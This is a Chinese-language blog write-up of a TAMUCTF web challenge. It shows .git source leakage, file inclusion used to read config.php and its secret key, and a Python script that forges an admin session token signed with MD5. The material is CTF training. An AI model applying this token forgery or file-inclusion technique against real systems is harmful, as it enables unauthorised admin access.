这是一篇关于打d3ctf坐牢,无奈去打国际赛的题解。

TAMUCTF [Blackbox]

首先打开页面,然后发现一个登陆框

刚开始最先想到就是弱口令登陆,尝试几个后发现登陆不进去。

之后我就换了一个思路,就是扫一下,看看能不能有什么东西被扫出来,结果还真扫出来点东西,一个flag.txt,一个flag.php,还有就是.git泄露。

先访问falg.txt结果被老外嘲笑一番,页面返回hahaha loser,没办法脱下代码进行代码审计吧。

审计之后发现存在文件包含,于是乎想起之前的falg.php,于是顺利成章的读取flag.php,但是哪有那么顺利,flag.php返回了一个youtobe的一个网址,靠,白高兴了。

没有办法,只有进行登陆了,看登陆后会不会有flag。

于是又走上了一条代码审计的不归路。

function verify_token(string $token) {
$token_data = explode('.', $token);
if(hash('md5', SECRET_KEY . $token_data[0]) == $token_data[1]) {
return true;
}
return false;
} //这里是传入一个字符串,然后出现.号后分成俩部分,MD5哈希算法对SECRET_KEY和token_data[0]的组合字符串进行哈希处理,并将哈希结果与token_data[1]进行比较。如果两个值相同,则返回true,否则返回false。


function is_admin(string $token) {
if(verify_token($token)) {
$db = new SQLite3(DB_FILE); $data = json_decode(base64_decode(explode('.', $token)[0]), TRUE);
$username = $data['username'];
$user_key = $data['user_key'];
$admin = $data['admin']; $statement = $db->prepare('SELECT * FROM users WHERE username=:uname AND key=:ukey;');
$statement->bindValue(':uname', $username);
$statement->bindValue(':ukey', $user_key);
$result = $statement->execute();//这里进行了一个查找数据库,如果转成JSON格式后的username与数据库中users表的username一样,并且user_key与key一样就可以进行登陆。 if($result != false && $result->fetchArray() != false && $admin == true) {
return true;
}
return false;
}
}

这里就这俩个方法比较重要,这俩个方法进行身份验证。

然后我们就可以下手了。

function verify_token(string $token) {
$token_data = explode('.', $token);
if(hash('md5', SECRET_KEY . $token_data[0]) == $token_data[1]) {
return true;
}
return false;
}

这里我们首先获得SECRET_KEY,这个SECRET_KEY,翻遍了所有文件都没有找到,但是在.gitignore文件下面找到了config.php,所以我们使用文件包含读取config.php,果不其然·,我们找到了SECRET_KEY

然后我们写一个脚本获取我们需要的字符串。

import hashlib
import json
import base64 # 定义 SECRET_KEY 和 Token 数据
SECRET_KEY = 'JYOFGX6w5ylmYXyHuMM2Rm7neHXLrBd2V0f5No3NlP8'
token_data = {
"username": "admin",
"user_key": "26ceb685f46e6d22",
"admin": True
} # 编码 Token 数据,生成 Token 字符串
encoded_token_data = base64.b64encode(json.dumps(token_data).encode()).decode()
hash_str = SECRET_KEY + encoded_token_data
hash_obj = hashlib.md5(hash_str.encode())
hash_result = hash_obj.hexdigest()
token_str = "{0}.{1}".format(encoded_token_data, hash_result) # 验证 Token 字符串是否有效
token_parts = token_str.split('.')
if len(token_parts) != 2:
print("Token 字符串不合法")
else:
decoded_token_data = json.loads(base64.b64decode(token_parts[0]).decode())
if ('username' in decoded_token_data and 'user_key' in decoded_token_data and 'admin' in decoded_token_data
and decoded_token_data['username'] == 'admin' and decoded_token_data['user_key'] == '26ceb685f46e6d22'
and decoded_token_data['admin'] is True):
str_to_hash = SECRET_KEY + token_parts[0]
hash_obj = hashlib.md5(str_to_hash.encode())
hash_result = hash_obj.hexdigest()
if hash_result == token_parts[1]:
print("Token 字符串有效:", token_str)
else:
print("Token 字符串无效")
else:
print("Token 字符串无效")

构造cookie之后就能获得flag。

记一道国际赛CTF web题的更多相关文章

  1. i春秋CTF web题(1)

    之前边看writeup,边做实验吧的web题,多多少少有些收获.但是知识点都已记不清.所以这次借助i春秋这个平台边做题,就当记笔记一样写写writeup(其实都大部分还是借鉴其他人的writeup). ...

  2. 一道简单的CTF登录题题解

    一.解题感受 这道题50分,在实验吧练习场算比较高分,而且通过率只有14%,比较低的水平. 看到这两个数据,一开始就心生惬意,实在不应该呀! 也是因为心态原因,在发现test.php之后,自以为在SQ ...

  3. 2019CISCN web题赛-JustSoSo;love_math(复现)

    0x00前言 这几天从网上找个CMS源码开始练习审计,盯着众多的代码debug调呀调头晕脑胀的,还不错找到个文件读取和一个ssrf... 上月底结束的CISCN线上赛,web四道,仔细研究的2道,做出 ...

  4. 4.ctf实战题

    一道ctf实战题. 先亮出网址: http://fb2ad00f-0a28-4e38-8fff-849d7391e2d0.coding.io 打开连接,看到下面页面.Web题,首先就是扫描(御剑啊还有 ...

  5. 实验吧web题:

    实验吧web题: 这个有点简单 因为刚了解sqlmap,所以就拿sqlmap来练练手了 1,先测试该页面是否存在sql注入漏洞 2.找到漏洞页面,复制url,然后打开sqlmap 先查看当前数据库 然 ...

  6. 某CTF代码审计题

    记一次参加CTF比赛翻车记!   开始还是挺有信心的,毕竟也是经常打一些CTF锻炼,然而比赛发现大佬们平时不显山不漏水的一比赛全出来了!赛后看了一下各题的writeup发现自己的确技不如人啊!借鉴一个 ...

  7. Triangle (第8届山东省赛的某题)

    triangle(第8届山东省赛的某题) 传送门 题意:喵了个呜,这题意真是峰回路转啊.懒死了,不想描述. 做法:我们拿set或线段树维护exp的最小值,每次取出exp值最小的边,删除之.并更新这条边 ...

  8. CTF--web 攻防世界web题 robots backup

    攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...

  9. CTF--web 攻防世界web题 get_post

    攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...

  10. 一道很经典的 BFS 题

    一道很经典的 BFS 题 想认真的写篇题解. 题目来自:https://www.luogu.org/problemnew/show/P1126 题目描述 机器人移动学会(RMI)现在正尝试用机器人搬运 ...

随机推荐

  1. Blog作业03

    目录 前言 设计与分析 踩坑心得 改进建议 总结 前言 这三次作业的题目只有2道题,但是在题量减小的同时,这三次作业集的难度也相应的上去了,题目的质量很好,运用很广泛,也考验了很多的知识点.这三次的作 ...

  2. ffmpeg均匀分割视频命令

    ffmpeg -y -i input.wav -f segment -segment_time 5 output-%d.wav -segment_time 分割视频片段大小 -segmenet_lis ...

  3. 网站下/.git/index查看

    遇见有些网站目录中存在 http://target.com/.git/index 由于index是二进制文件 下载回来本地查看 初始化 下载到.git目录 git checkout-index -a

  4. 动态生成frame时需要对frame类进行注册,否则会出现找不到frame类的错误。

    procedure TMainForm.openFram(Caption, FormClassName, imgIdx: string); var i: integer; sheet: TUniTab ...

  5. SpringBoot——配置嵌入式 Servlet容器

    更多内容,前往 IT-BLOG 一.如何定制和修改Servlet容器的相关配置 前言:SpringBoot 在Web 环境下,默认使用的是 Tomact 作为嵌入式的 Servlet容器: ​[1]修 ...

  6. FutureTask 类

    更多内容,前往IT-BLOG 一.什么是 Future和 FutureTask FutureTask 的 Future就源自于它的异步工作机制,如果我们在主线程中直接写一个函数来执行任务,这是同步的任 ...

  7. 写书写到一半,强迫症发作跑去给HotChocolate修bug

    前言 这是写作<C#与.NET6 开发从入门到实践>时的小故事,作为本书正式上市的宣传,在此分享给大家. 正文 .NET目前有两个比较成熟的GraphQL框架,其中一个是HotChocol ...

  8. java多线程基础小白指南--线程的状态

    线程的状态比较混乱,网上的资料也是五花八门,这时候就要参考 注意截图中的最后一句话,很多人把jvm中线程状态与实际上的os线程状态搞混了,所以才会有很多乱七八糟的状态出现. 注意Runnable其实含 ...

  9. 2020寒假学习笔记12------Python基础语法学习(一)

    代码的组织和缩进 Python 语言直接通过缩进来组织 代码块."缩进"成为了 Python 语法强制的规定.缩进时,几个空格都是允许的,但是数目必须统一.我们通常采用" ...

  10. 记一次 .NET 某设备监控系统 死锁分析

    一:背景 1. 讲故事 上周看了一位训练营朋友的dump,据朋友说他的程序卡死了,看完之后发现是一例经典的死锁问题,蛮有意思,这个案例算是学习 .NET高级调试 入门级的案例,这里和大家分享一下. 二 ...